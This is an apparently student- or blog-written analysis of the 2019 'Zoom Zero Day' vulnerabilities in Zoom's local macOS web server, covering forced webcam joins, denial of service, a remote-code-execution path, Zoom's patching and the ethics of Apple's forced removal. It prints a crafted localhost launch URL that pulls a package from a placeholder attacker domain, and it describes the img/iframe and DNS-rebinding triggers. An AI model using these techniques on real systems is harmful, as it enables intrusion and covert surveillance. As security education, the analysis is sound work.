Zoom
By: Security News Project
Tags: Web Server, Apple, Zoom, Vulnerability Assessment, Security

Earlier in 2019, in a discovery known as “Zoom Zero Day”, researcher Jonathan Leitschuh uncovered that the popular video conferencing application, Zoom, contained a significant vulnerability that stemmed from Zoom’s use of a locally run web server [1]. The purpose of the web server is for Zoom to give Mac users a more seamless experience (see the Technical Analysis). This web server is installed automatically on all Apple Mac machines running the Zoom application and two major issues stem from the discovery of this vulnerability. First, due to its lack of authentication, the web server can be triggered remotely by an attacker to cause a denial-of-service (DOS) attack (CVE-2019–13449) [2] on a victim’s computer. A denial of service attacks is a type of cyberattack that disrupts the ability of users to use a service by disabling a network or a machine [3]. Specifically, in the case of Zoom, the problem is that an attacker can force a victim to inadvertently join a video conference call (CVE-2019–13450) [4]. Therefore, any webpage can initiate a DoS attack on Macs by repeatedly forcing them to join arbitrary and invalid video conferences. In addition, since the default camera setting is set so that the video camera is enabled upon joining a call, victims would be forced to join calls with their video camera turned on. This also raises a substantial privacy concern on top of the DoS issue. The second major problem that stems from the web server vulnerability is directly related to the server itself. If the user uninstalls just the Zoom client, researcher Jonathan Leitschuh found that the web server automatically triggers a reinstall of the Zoom MacOS client if the user visits a certain website. Automatic reinstalls by the web server have the potential to lead to Remote Code Execution (RCE). RCE poses an urgent risk because it enables an attacker to execute commands on a victim’s computer. In this case, the Zoom web server triggers a reinstall of the client and ensures the proper package is downloaded by checking the domain. Not only is it concerning that the web client reinstalls the Zoom client by itself without the user’s consent, but a bigger problem was found in a followup investigation by Assetnote (a computer and network security company) found that an RCE could be established in two separate ways based on (see technical analysis) [5].

Together, these two exploits are a major concern for Zoom, who only recently went public with their IPO in April of this year [6]. Both Apple and Zoom have released patches and software updates in order to address this issue, with the patches having varying effects. The reaction speed by Zoom was questionable. The original researcher, Jonathan Leitschuh, wrote that Zoom had failed to deliver a patch within the 90 days before the end of the disclosure period, a time in which a patch was promised by Zoom to a Mozilla security team and Leitschuh [1]. Even more concerning, Leitschuh tested Zoom’s initial patch and found that it was not completely sufficient in addressing the two issues stated above. In fact, Leitschuh had warned Zoom before the release of the patch that it would fail to fix the vulnerability, but the patch was rushed into release by Zoom anyways (see Fallout and Incentives Discussion). In the end, Apple released a solution that completely removed the web server from its devices. Zoom followed up by making all the features that its web server offered available on the Zoom client itself, therefore rendering the web server useless. The patches and ethics will be discussed throughout the course of this post. This web server vulnerability amassed major media coverage since the vulnerability affected over 4 million Zoom users. It is interesting to note, however, that the vast majority of the public media coverage centered on the first issue that arises with the server — the ability for someone with malicious intent to violate Zoom users’ privacy by forcing them to join invalid video conferences with their camera enabled. While this is indeed both a severe privacy concern (as an attacker would instantly have video footage of the victims and his/her location) as well as a denial-of-service concern (as mentioned earlier), we believe that it is also important to not overlook the second vulnerability posed by the web server, which gives an attacker the ability to perform an RCE. This RCE weakness would allow an attacker to make user’s machines download their own malicious packages instead. Because of the severity of the RCE exploit, we believe that it deserves more attention and focus from the media so that the millions of Zoom users are aware of both of these issues.

In this post we will discuss the technical aspects of these exploits, whether any bad security practices were demonstrated here, the fallout, incentives, and fixes employed, as well as any legal/ethical issues raised by the incident.

Technical Analysis

Both of the major issues discussed in the introduction exploit the vulnerability in the local web server that comes bundled with the Zoom application upon installation. We note that both exploits relate specifically to the Zoom application for MacOS, as the web server was only bundled on the Mac version. This local web server, which runs as a daemon on port 19421, is packaged in a separate application called ZoomOpener that comes with the standard Zoom MacOS application.

The problem with this web server is in its authentication. It is not uncommon for many companies to use local web servers as gateways to their main application. This is a common practice because it makes the development process more streamlined. Instead of developing multiple extensions for various browsers, which unnecessarily adds to the technical debt of the company, they choose to develop a single and cross-platform daemon. In Zoom’s press release after the incident was reported, they confirm that this was their initial reasoning, saying:

“We feel that this is a legitimate solution to a poor user experience, enabling our users to have seamless, one-click-to-join meetings, which is our key product differentiator.” [7]

We argue that the seemingly commonly held belief about the localhost not needing authentication is flawed and misinformed. This belief essentially claims that because the localhost is a private network, it does not need authentication. The Zoom attack, however, shows how easy it is to create an attack on the server. The inclusion of a maliciously sourced <img> attribute or an <iframe> on an attacker-controlled website is enough to call any endpoint of a local web server that has no authentication. These attacks are feasible because they are HTML attributes that do not violate cross-origin protection.

Furthermore, even if the attack were to require a more sophisticated method, such as running malicious javascript that calls out to the local web server, other methods of attack are still available to the adversary. For example, in this case the attacker could utilize a DNS rebinding attack, which is a method of manipulating domain names. To perform a DNS rebinding attack, an attacker registers a DNS server at some domain. If the attacker tricks the victim into visiting the website, then the attack proceeds as follows: first, the attacker responds with a short TTL DNS response that points to an attacker’s website that contains malicious javascript code. This code will make queries to localhost or other IPs within a victim’s private network. While at first the browser will prevent these requests as these requests violate cross-origin protection, the attacker eventually changes the DNS query to map the attacker domain to the local IP the poorly protected web server is running on [8].

Although there are no documentations on the full capabilities of the server, reverse engineering done by researchers, including Leitschuh as well as the researchers at AssetNote, demonstrates that its main purpose was to make it easier for users to join Zoom meetings and to install/update the Zoom app itself. With the web server installed, users can automatically join a Zoom meeting when clicking on a shared Zoom meeting link. These links take the form of https://zoom.us/j/<meeting-id> , which once clicked on communicate with the web server to launch the Zoom app. These links convert to GET requests to the web server at endpoint /launch?action=join&confno=<meeting-id> . This launch endpoint accepts different parameters according to the action passed. In the case of action=join , it accepts a confno parameter that is the id of the meeting to join. To run the logic for installing/updating the Zoom application, one can send a GET request to the /launch endpoint with action=launch with some other parameters of where to download the binary. action=join is what was used to force a user to join a video call, while action=launch is what can be exploited for RCE attacks.

The DoS vulnerability is related to exploiting the join action of the launch endpoint. According to Leitschuh, the original founder of the vulnerabilities, this endpoint can be exploited as a denial-of-service attack vector “by simply sending repeated GET requests for a bad number, [then] Zoom app would constantly request ‘focus’ from the OS” [1]. This feature becomes a DoS because it was not throttled in any way and thus, many requests would cause the OS to freeze as the volume of requests for “focus” given at the same time is too much to handle.

Examining the “auto join” vulnerability, we notice that the attack is very simple. Because this web server accepts unsolicited requests, a user with the Zoom app installed can be triggered to automatically join a specific meeting if the launch?action=join request is received by the local web server. An adversary can therefore utilize this to spy on unsuspecting users by simply injecting this link with an attacker-created meeting id in a HTML resource, or an iframe. In Leitschuh’s post, his example showed the link being injected as a IMG link. The <img> exploit is a classic CSRF vulnerability since by default, browsers load remote images and as a result, the browser will make a GET request to whatever link is the in the <img> tag. In this case, the link is not an image but rather a call to the Zoom web server. This vulnerability is so easy to exploit because its only requirement is that the victim visits a specific link. As Leitschuh mentions, “this could be embedded in malicious ads, or it could be used as a part of a phishing campaign” [1].

We now discuss the install capability of the web server that can potentially be used as a RCE. While Leitschuh did mention the potential RCE attack vector, further analysis and a proof of concept was shown by AssetNote, a security analysis firm [5]. Because the web server and the Zoom app are separate programs, even if the Zoom app was uninstalled it could be reinstalled via this install/update capability of the web server. Leitschuh showed that if this endpoint is triggered (by visiting certain websites) and the Zoom app has been removed, it will automatically install the latest Zoom version from one of the trusted subdomains hard coded in the web server.

The crafted install request comes in the form of a query to the same /launch endpoint used in the DoS and auto-join vulnerability but with different parameters. One such parameters include the domain to look for the Zoom binary to download. This should already be a red-flag to security researchers since one should not allow an unrestricted API that allows the caller to choose its own URL destination. It is true, as Leitschuh mentions in his post, that there was code to make sure the domain only comes from a list of trusted domains. This code, however had a logic flaw that AssetNote was able to exploit. The flaw comes from faulty user sanitization logic. The logic by the Zoom web server is as follows: (1) Check if the domain supplied exactly matches one of the hard-coded trusted domains. (2) If it does not, then it will next check whether the domain contains a suffix of some hard-coded values, (3) else abort. An adversary can either take over one of these trusted domains, or can run their own server which has a sub-page whose name has a suffix of the trusted domain. While it is harder (although not impossible) to take over a specific domain, it is much easier for the attacker to run his own website with a malicious page.

Regardless of whether the attackers take control of the trusted domain or if they instead decided to host their own web server following the necessary suffix conditions mentioned above, the attack remains simple: an attacker hosts their malicious program at this endpoint and then tricks the user into calling a link of the form: http://localhost:19421/launch?action=launch&domain=attacker-website.com/attacker.zoom.us&usv=<id>&uuid=<random-uuid>&t=<timestamp> . The attacker can get the user to visit this endpoint by either sending a phishing email or including a maliciously sourced HTML attribute that sources to this link, as seen in the auto-join and DoS attack mentioned earlier.

The Zoom web server will then download and automatically install whatever package is hosted at the endpoint. According to AssetNote’s research, they claim there are no integrity checks done when processing the package. Unfortunately, this is yet another example of poor security decision-making by Zoom. Even with the unauthenticated local web server, this attack could be prevented if Zoom signed their releases with a key under their control. With such digital signatures, assuming that the first install of Zoom was correct, future updates to the app, as performed by the web server, can be verified by the victim’s computer using a hard-coded public signing key.

Bad Security Practices, Threat Model

Reviewing the bad security practices and the threat model for attackers, we noticed that all the potential attacks (DOS, auto-join video call with webcam access, and RCE) are examples of off-path attacks. Notably, the attacker does not need to act as a MiTM (Man-in-the-middle) attacker to exploit any of these vulnerabilities. These attacks all rely on sending requests to the local web server by tricking the user into visiting a malicious website that calls to this server. The inclusion of an unauthenticated local web server, the fact that there exists a callable API endpoint to install updates, and the lack of integrity checks on remotely downloaded packages are all examples of bad security practices. We have mentioned the problem with unauthenticated web servers above and we believe that it is also reasonable to argue that having an endpoint, which automatically installs a package rather than prompting the user to confirm, is bad practice too. It would have been better to delegate the updating process to the application itself rather than bundling it separately in a local web server. The original purpose of the server was to make it easier to join Zoom meetings, but the web server itself could have been avoided if Zoom had just decided to transfer the functions of the server to the application.

The potential attacks demonstrated by the security researchers require varying amounts of technical knowledge. The video call “auto join” vulnerability can be done simply by having the victim click on a link created by a malicious user and requires little to no actual technical knowledge. Essentially anyone with access to a computer can perform this attack. The DOS attack is basically an extension of the “auto join” vulnerability, requiring the malicious user to create a server that repeatedly sends join requests to a victim. This certainly has a smaller threat model because it requires malicious attackers to have some superficial knowledge about server building in order to send repeated requests. Lastly, the RCE attack requires the attacker to create a malicious web page that uses one of the trusted domains as a suffix. This webpage will then serve a malicious package to the Zoom installer, which it will install. In order to execute this RCE attack, the attacker must have substantial knowledge on how to build a malicious payload, as well as knowledge on building the malicious webpage that will serve their payload. This significantly decreases the size of the threat model of this attack when compared to the other two.

Discussion of Incentives & Fallout of attack

After the vulnerability was publicly disclosed, many major news sources including Wired, The Verge, and Vice, reported on the attack [9] [10] [11]. This widespread awareness of the vulnerability forced Zoom to patch the DoS vulnerability and move the installation process to the desktop application rather than the web server. At first, Zoom added a patch in the form of authentication to the web server to prevent unauthenticated and arbitrary calls from an adversary. It’s unclear what authentication was added but according to Leitschuh, it was not a secure patch and could still be bypassed. In fact, Leitschuh had recommended against implementing this patch because it was inadequate. Zoom, however, moved ahead with the release [1].

As the vulnerability gained traction among major news outlets, it caught Apple’s attention and they were forced to step in. Apple immediately removed the local web server through their Malware Removal Tool (MRT). The MRT, which comes pre-installed with the latest MacOS version, allows Apple to remotely remove applications that it considers dangerous. We suspect that Apple’s initiative in forcefully removing the web server also pressed Zoom to take a more aggressive stance. Ultimately, Zoom agreed to also remove the server.

Ethics

“Zoom Zero Day” raises two important ethical issues: (1) Who is ultimately responsible for resolving these type of issues, the application developer (Zoom) or the hardware creator (Apple)? (2) Should Apple have the ability to use its MRT to forcefully remove any application from a user’s machine without user consent (potential for abuse of power)?

We argue that Zoom’s initial response to the vulnerabilities were not sufficient. As a company providing a widely used service, Zoom should have been committed to keeping their users safe. It may be the case that Zoom was ignorant of the fact that localhost is not protected from unsolicited responses from the wider Internet; this ignorance, however, does not excuse them from their lack of action in addressing the problem, especially when given the 90-day disclosure period. When the issue was first disclosed to them, Zoom implemented a “quick fix” that was not sufficient according to Leitschuh:

“[Leitschuh] described to the Zoom team how both of these solutions were not enough to fully protect their users. Unfortunately, this left the Zoom team with only 18 days before public disclosure to come up with some better solution. Unfortunately, even after my warning, this was the solution they chose to go with.” [9].

This “quick fix” failed to remove the web server, which was the underlying cause of the vulnerabilities. The patch only adjusted the auto-join video settings: “giving users a more prominent way of choosing whether their video feed automatically launches when they click a Zoom call link” [9].

We believe that it was wrong for Zoom to provide such a meager response. The 90-day disclosure period was sufficient for them to both realize the full scope of the problem and also for their teams to implement a fix. Even worse, they had known beforehand from Leitschuh that the fixes they initially wanted to use were inadequate but moved them into production regardless. It is unfortunate that it took heavy press coverage for Zoom to finally remove the web server.

There is also concern regarding Apple’s use of MRT to remotely remove the software. While in this certain case the outcome was positive (i.e. RCE vulnerability removed), Apple’s ability to remove any software at any time from its devices without user consent raises questions about whether the machine manufacturers should be permitted to remove user-installed applications at their discretion. The MRT can certainly be abused by Apple and outside entities that may coerce Apple (i.e. government) to remove applications from a user’s machine.

Conclusion

Zoom Zero Day is just one of many negative security news stories to be plastered over the headlines in the last few years. This should surprise no one, especially as we move towards an increasingly digital world. As a result, both individuals and companies will became more and more vulnerable to malicious attempts to steal information and deny services. In order to address this, companies and corporations must emphasize sound implementations and shift additional resources to combat aggressors. We are sad to report that Zoom failed to do this and consequently lost the trust of many of their users. Zoom’s failure to embed the functions of their web server directly into their application followed by their failure to release a satisfactory patch to fix the vulnerabilities the web server posses is a prime example of what companies today cannot afford to do. Zoom Zero Day affected million of Zoom users but the outcome could have been worse. Luckily users did not lose any private information and their Zoom accounts itself were not compromised. We hope that Zoom and other companies were able to learn from this vulnerability and will take their application development and security more seriously.

References

[1] Leitschuh, J. (2019, July 8). Zoom Zero Day: 4+ Million Webcams & maybe an RCE? Just get them to visit your website!. Retrieved from https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5

[2] NIST. (2019, July 9). CVE-2019–13449. Retrieved from https://nvd.nist.gov/vuln/detail/CVE-2019-13449

[3] Denial-of-service attack. (2019, December 5). Retrieved December 8, 2019, from https://en.wikipedia.org/wiki/Denial-of-service_attack

[4] NIST. (2019, July 9). CVE-2019–13450. Retrieved from https://nvd.nist.gov/vuln/detail/CVE-2019-13450

[5] Assetnote Team. (2019, July 17). Zoom Zero Day Followup: Getting the RCE. Retrieved from https://blog.assetnote.io/bug-bounty/2019/07/17/rce-on-zoom/

[6] Feiner, L. (2019, April 23). Zoom tops Lyft as the most valuable tech IPO of the year so far. Retrieved from https://www.cnbc.com/2019/04/23/zoom-now-the-most-valuable-of-all-the-tech-companies-to-ipo-this-year.html

[7] Zoom Video Communications. (2019, July 8). Zoom Response: Video On Vulnerability. Retrieved from https://assets.zoom.us/docs/pdf/Zoom+Response+Video-On+Vulnerability.pdf

[8] DNS rebinding. (2019, October 31). Retrieved from https://en.wikipedia.org/wiki/DNS_rebinding

[9] Newman, L. H. (2019, July 9). A Zoom Flaw Gives Hackers Easy Access to Your Webcam. Retrieved from https://www.wired.com/story/zoom-bug-webcam-hackers/

[10] Bohn, D. (2019, July 8). Serious Zoom security flaw could let websites hijack Mac cameras. Retrieved from https://www.theverge.com/2019/7/8/20687014/zoom-security-flaw-video-conference-websites-hijack-mac-cameras

[11] Cox, J. (2019, July 9). Zoom Vulnerability Lets Hackers Hijack Your Webcam. Retrieved from https://www.vice.com/en_us/article/8xzjj4/zoom-video-conferencing-vulnerability-lets-hackers-turn-on-your-webcam